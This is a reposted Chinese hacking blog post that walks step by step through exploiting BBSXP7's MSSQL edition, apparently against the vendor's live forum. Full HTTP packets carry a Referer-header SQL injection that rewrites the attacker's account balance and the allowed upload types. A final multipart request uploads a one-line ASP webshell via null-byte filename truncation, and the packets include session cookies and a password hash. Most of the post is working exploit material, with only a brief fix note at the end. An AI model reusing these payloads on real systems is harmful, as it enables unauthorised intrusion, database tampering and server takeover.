BBSXP7 mssql版,从注入到拿WEBSHELL

鬼仔注:这个BBSXP的log注入在一月份发过,在 这里 ,不过当时那篇文章说的只是注入,但是没有写拿shell的方法,这篇的分析比较详细,拿shell的方法也不错。记录下。

来源:Sobiny's Blog

这个东西是去年前发现的了。好象内容细节在哪个杂志上发了。不过似乎杂志和作者都没跟我联系呢?不管,发了再说。
针对BBSXP7的,是HTTP头注入。
没有多大的看头,熟悉的朋友,请从后面拿SHELL的地方开始看。
反正看得懂的就看。
看不懂的请提问,不过希望大家问一点有水平的问题。
太基础的,GOOGLE上可以搜索到的问题,恕我不回答。

我们都知道
yuzi.net是BBSXP的官方论坛。
最近读代码,读到了BBSXP
一个不小心,就找到了一个注入。。
拿bbs.yuzi.net去测试。一不小心就测试通过,并且通过此注入点,得到了WEBSHELL。其中就用到了我所谓的数据库处理数据和FSO处理数据的一点小差异,而拿到的WEBSHELL。欲知详情,请跟着我一步一步来看。。。

原创:sobiny[bct]
网址:http://sobiny.cn

BBSXP我读过还几次了,还没发现什么大的问题。
结果这次读的时候,发现了一个很奇怪的过程。

Setup.asp文件是BBSXP系统的函数文件,外面调用的函数基本上都在里面了。
在第394行有一个log过程,其代码如下:

sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&Request.ServerVariables("HTTP_REFERER")&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
end sub

我们明显的看到了。

Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"),Request.ServerVariables("script_name"),Request.ServerVariables("Query_String"),Request.ServerVariables("HTTP_REFERER")

这5个HTTP头的参数没有经过过滤就直接放进了数据库。

而, Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"), Request.ServerVariables("script_name")这三个参数,第一个是连接的IP地址,第二个是server名字,第三个是脚本名字。这三个都不好欺骗。(除了ip地址我还没想到方法欺骗以外,后面两个都是还是可以欺骗的,不过有一定的环境限制,当然这是后话)

但是Request.ServerVariables("Query_String")和Request.ServerVariables("HTTP_REFERER")我们都是可以很轻松的构造我们需要的字符进去。这样,就可以完成欺骗。进行MSSQL注入攻击。

现在我们就需要找找在BBSXP的代码里面,到底有哪些地方调用了LOG过程。
经过我仔细的检查代码。发现这个过程在好多处代码里面都调用了。
不过普通用户能调用的地方好象只有一处。就是Bank.asp,就是银行功能,在给某人汇钱了后,就会调用LOG过程,写入数据库记录。
目标代码在Bank.asp的第160行。如下:

Log(""&CookieUserName&" 通过银行转帐 ¥"&qmoney&" 给 "&dxname&"")

于是,就开始了我艰苦的BBSXP测试之旅。

我看了BBSXP的官方。只能通过发帖来赚点钱。每个帖子奖励1块钱。bank.asp里面限制了最低每次要转10块钱。而且还有10%的手续费,真黑啊,这个告诉我们,我必须要先发11个帖子,才可以进行一次转帐的操作。
痛苦ING
……………………
省略号表示是我在注册帐号等待20分钟(才可以发帖),趁版主不注意,猛灌11个文章。并且抓包的痛苦经历,能有多悲惨,请各位读者发挥自己的想象。

终于11个文章筹齐了。我现在有了11块钱。
当然就好开始构造我们的语句了。

我们先来看看我们本来的封包。
联系上下文。构造封包如下:

POST /Bank.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://bbs.yuzi.net/bank.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Host: bbs.yuzi.net
Content-Length: 60
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime=

menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+

这个封包的意思是,向admin这个家伙送转10块钱过去。。
当然我们是不能直接发送这个封包的(为什么?因为10块钱就白白过去了,你愿意吗?当然要构造点语句帮我们做点事情才行)

考虑了1秒钟,身受为了得到11块钱而不停痛苦的我。绝对首先做的事情是:为我得到10000块钱。
经过读他们的代码,找到了存储金钱的表段,嘿嘿,准备加钱了。

POST /Bank.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_Users] set [UserMoney]=10000 where userid=123536--
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Host: bbs.yuzi.net
Content-Length: 60
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime=

menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+

然后发送。
我们主要看看
Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_Users] set [UserMoney]=10000 where userid=123536–
这一个HTTP头地址。
然后构造这样的HTTP头地址,就可以进行多句的执行。首先把我在银行里面的金钱改成了10000再说。
哈哈,可以慢慢注入了。
(为了节省篇幅,下面的封包我就只给出修改了后的部分。)

现在我进银行看看,我的钱。

嘿嘿,果然是1W了。。HAPPY。说明这个地方确实是可以注入的。

然后就是我慢慢思考怎么得到WEBSHELL的时候了。
经过一系列的探测,我发现了,数据库和网站不在同一个服务器。
所以先前的打算备份日志或者差异备份的想法就给打消了。
就开始了艰辛的只通过BBSXP自带的功能得到WEBSHELL的路。

首先是拿到后台。最新版的BBSXP,MSSQL数据库版本的后台也就多几个注入点。没有用的。我晕。
实在想不到办法。
于是我就照现在你所想的,添加上传类型来试试能不能上传一个WEBSHELL上去。
首先我们必须要先否认几个类型:
asp,asa,cer,cdx.这4个类型在代码里面已经明文禁止了,不能上传。所以否决
我根本试都不去试,呵呵。

于是我就添加ASPX类型上去,上传成功,不过服务器不支持。
于是我又添加PHP类型上去,上传成功,不过服务器不支持。
……………………
很多类型。服务器都不支持。
然后你们这个时候可能要说,可以上传SHTML的类型上去哈,服务器肯定支持。
不过好象SHTML上传上去,我也只能去浏览文件的代码。(据说SHTML有时是可以执行CMD命令的,不过当时我是没抱希望,所以就没去试)所以我也就没去实验这个东西。

难道就没有办法了吗?
我想了大概半个小时。最后还真的给我想到了一个办法。

FSO写文件名的时候,如果遇到空字节,那么,这个空字节后面的字符就会被忽略。
比如我们用FSO写一个文件名是:admin%00(空字节).jpg。那么我们实际上写上去的文件名就是admin没有后缀的。
而数据库又刚好是可以存储空字节的数据库。
OK。。。
下面我们构造如下的语句。
Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_SiteSettings] set UpFileTypes=UpFileTypes+'|asp'+char(0)+'a' where 1=1–

然后提交给服务器。
这样服务器就加上了一个允许的类型,这个类型就是'asp空字节a'
呵呵。
然后我们试着提交一下。

POST /PostUpFile.asp? HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://bbs.yuzi.net/PostUpFile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d6215880482
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Host: bbs.yuzi.net
Content-Length: 255
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D2%27%3E%u8BBA%u575B%u4EA4%u6D41%u533A%3C/option%3E%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E%u704C%u6C34%u4E50%u56ED%3C/option%3E; Eremite=0; PostTime=2006%2D11%2D5+0%3A42%3A33

-----------------------------7d6215880482
Content-Disposition: form-data; name="file"; filename="E:\muma.asp a"
Content-Type: text/html

<%If Request("#")<>"" Then Execute(Request("#"))%>
-----------------------------7d6215880482--

这就和动易当年的上传漏洞差不多了。
注意muma.asp a中间的空格要用16进制编辑器改成00就是空字节的意思。

然后发送封包。
就会提示你上传123123123123.asp成功。
找到你上传的文件。
接下来的事就不用我说了吧,哈哈。

我要说明一个问题。
有BBSXP有注入点拿下WEBSHELL的方法不只这一个。
我只是选择了一个我认为最简单的方法。所以各位看官找到更有效果的方法,欢迎你来和我交流
但是不要来批判我,谢谢。

最后说说这个漏洞的修补方法,就是过滤HTTP头文件。不要直接放进数据库。
如果实在修补不了的,请暂时停止其银行功能。
这样就可以有一定效果的防御这个漏洞,等待BBSXP官方出补丁。

后记:最近总是有朋友问我,DVBBS后台怎么拿SHELL。。
看了这个文章后,你有新的想法了吗?

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

发表评论